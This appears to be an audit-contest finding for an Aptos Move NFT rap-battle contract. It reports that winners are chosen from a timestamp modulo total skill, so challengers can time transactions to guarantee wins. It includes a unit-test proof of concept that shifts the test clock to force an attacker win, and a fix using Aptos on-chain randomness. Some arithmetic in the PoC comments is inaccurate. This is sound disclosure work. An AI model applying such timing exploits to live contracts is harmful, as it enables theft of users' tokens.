One Shot: Reloaded

First Flight #47
Beginner FriendlyNFT
100 EXP
Submission Details
Impact: high
Likelihood: high

Predictable timestamp based RNG allows challengers to guarantee victory

Author Revealed upon completion

Description

The battle outcome relies on timestamp based “randomness” at the one second level, which makes results highly predictable. Because Aptos blocks are produced in under a second but share second level timestamps, multiple blocks often land with the same timestamp.

This creates a clear exploit path: challengers can easily calculate which second guarantees a win and time their transaction accordingly. As a result, they can consistently force favorable outcomes for the attacker

Root Cause

The battle winner determination in rap_battle::go_on_stage_or_battle() uses timestamp::now_seconds() for randomness, which is entirely predictable:

// rap_battle.move
let total_skill = defender_skill + challenger_skill;
let rnd = timestamp::now_seconds() % total_skill;
let winner = if (rnd < defender_skill) { defender_addr } else { chall_addr };

This is exploitable because:

Challenger controls timing: They choose exactly when to submit the battle transaction
Outcome is deterministic: Given any timestamp, the winner can be calculated in advance

Risk

Likelihood: High - Any challenger with basic math skills can exploit this

Impact: High - Guarantees battle victories and CRED token theft from defenders

Impact

High severity because:

  • Guaranteed wins: Challengers can ensure 100% win rate by timing their transactions

  • Economic exploitation: Steal CRED tokens from legitimate defenders

  • Protocol integrity failure: Completely breaks the competitive battle system

  • Unfair advantage: Defenders have no defense against this exploit

Proof of Concept

Exploitation test showing attacker can wait for guaranteed win:

#[test]
public fun test_farm_winning() {
let now = 1_758_100_000_000;
// Initialize timestamp for testing
let aptos_framework = account::create_account_for_test(@0x1);
timestamp::set_time_has_started_for_testing(&aptos_framework);
timestamp::update_global_time_for_test(now);
// Initialize aggregator factory and coin system
coin::create_coin_conversion_map(&aptos_framework);
let module_owner = account::create_account_for_test(@battle_addr);
let minter = account::create_account_for_test(@minter_addr);
let attacker = account::create_account_for_test(@attacker_addr);
cred_token::init_module_test(&module_owner);
rap_battle::init_module_test(&module_owner);
// Mint rappers(both have 50)
one_shot::mint_rapper(&module_owner, signer::address_of(&minter));
let mint_events = event::emitted_events<MintRapperEvent>();
let first_event = vector::borrow(&mint_events, 0);
let token_id = one_shot::get_mint_event_token_id(first_event);
let rapper_token = object::address_to_object<Token>(token_id);
one_shot::mint_rapper(&module_owner, signer::address_of(&attacker));
let second_mint_events = event::emitted_events<MintRapperEvent>();
let second_event = vector::borrow(&second_mint_events, 1);
let token_id2 = one_shot::get_mint_event_token_id(second_event);
let rapper_token2 = object::address_to_object<Token>(token_id2);
// Defender goes on stage
rap_battle::go_on_stage_or_battle(&minter, rapper_token, 0);
// Attacker knows: defender_skill = 50, attacker_skill = 50, total = 100
// Defender wins if: (timestamp % 100) < 50
// Attacker wins if: (timestamp % 100) >= 50
// Current: 1758100000000 % 100 = 0 (defender would win)
// Attacker waits exactly 50 seconds to guarantee victory
let second = 1_000_000;
timestamp::update_global_time_for_test(now + 50*second);
// Now: 1758100050000 % 100 = 50 (attacker wins!)
rap_battle::go_on_stage_or_battle(&attacker, rapper_token2, 0);
let battle_events = event::emitted_events<Battle>();
// Battle event shows attacker as winner due to timestamp manipulation
print(&battle_events);
}

Recommended Mitigation

Use Aptos's secure randomness API instead of timestamps:

+ use aptos_framework::randomness;
public entry fun go_on_stage_or_battle(
player: &signer,
rapper_token: Object<Token>,
bet_amount: u64
) acquires BattleArena {
// ... existing code ...
let total_skill = defender_skill + challenger_skill;
- let rnd = timestamp::now_seconds() % total_skill;
+ // Use secure on-chain randomness
+ let rnd = randomness::u64_range(0, total_skill);
let winner = if (rnd < defender_skill) { defender_addr } else { chall_addr };
// ... rest of function
}

This preserves the intended skill-based probability system while eliminating timestamp manipulation

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.